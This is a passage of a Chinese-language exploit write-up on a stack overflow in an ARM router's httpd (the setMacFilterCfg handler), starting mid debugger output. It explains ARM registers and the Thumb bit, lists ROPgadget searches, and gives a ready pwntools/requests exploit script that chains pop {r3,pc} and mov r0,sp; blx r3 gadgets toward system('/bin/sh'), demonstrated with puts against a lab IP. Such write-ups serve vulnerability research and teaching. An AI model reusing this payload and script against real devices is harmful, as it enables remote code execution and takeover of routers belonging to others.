05:0014│ 0xfffefba4 —▸ 0xfffefd54 —▸ 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
06:0018│ 0xfffefba8 —▸ 0xff7e50eb ◂— strvc r6, [sp, #-0x46c]! /* 0x752d646c; 'ld-uClibc.so.0' */
07:001c│ 0xfffefbac —▸ 0xfffefd5c —▸ 0xfffefe5a ◂— svcmi #0x445553 /* 0x4f445553; 'SUDO_GID=1000' */
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 0xff5ca010
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

这里补充一下:

r0寄存器是用来传递第一个参数,如system("/bin/sh")的/bin/sh的地址

r3是通用寄存器,存储system的地址

pc:指的是程序计数器,指向下一条要执行的指令地址

CPSR的T位作用:CPSR寄存器的T位(Thumb模式标志位)决定CPU执行模式:T=0:执行ARM指令(4字节对齐)。T=1:执行Thumb指令(2字节对齐),简单地说,就是将地址+T,

1
2
pwndbg> p/t $cpsr
$2 = 1100000000000000000000000010000#T位就是看从右往左数第六位,此时是0

构造

1
2
3
4
5
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc} #gadget1

ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2

所以payload=b'a'*176+p32(gadget1)+p32(system)+p32(gadget2)+p32(bin_sh)

过程:

首先是溢出到gadget1,然后sp移动到system处,执行pop r3,pc,就是先将system地址给到r3,然后将gadget2给到pc,所以接下来是执行pc指向的gadget2,此时sp指向bin_sh,然后是执行gadget2,先将bin_sh给到r0,然后条转到r3也就是system执行

1
2
3
4
5
payload = b"A"*176                    # 填充到返回地址
payload += p32(gadget1_addr) # 覆盖返回地址为 gadget1
payload += p32(system_addr) # 给 r3
payload += p32(gadget2_addr) # 给 pc
payload += b"/bin/sh\x00" # 命令字符串

exp:

这里我用的是puts来验证,因为可能是qemu用户态模式下的缺陷,如果用的是system的话,chroot的那个终端部分会死机,就是卡住了,输入什么都没有反应,但是换成puts执行成功说明rop构造成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import requests
libc_base = 0xff58c000
pop_r3_pc = libc_base + 0x18298
mov_r0_sp_blx_r3 = libc_base + 0x40cb8
puts_addr = libc_base + 0x35cd4
hello_str = b"Hack by Hfddh666!\n\x00"
payload = b'A' * 176
payload += p32(pop_r3_pc)
payload += p32(puts_addr)
payload += p32(mov_r0_sp_blx_r3)
payload += hello_str
url = "http://192.168.29.129/goform/setMacFilterCfg"
cookie = {"password": "12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data, timeout=3)

成功了

1776954251126

参考

https://xz.aliyun.com/news/18473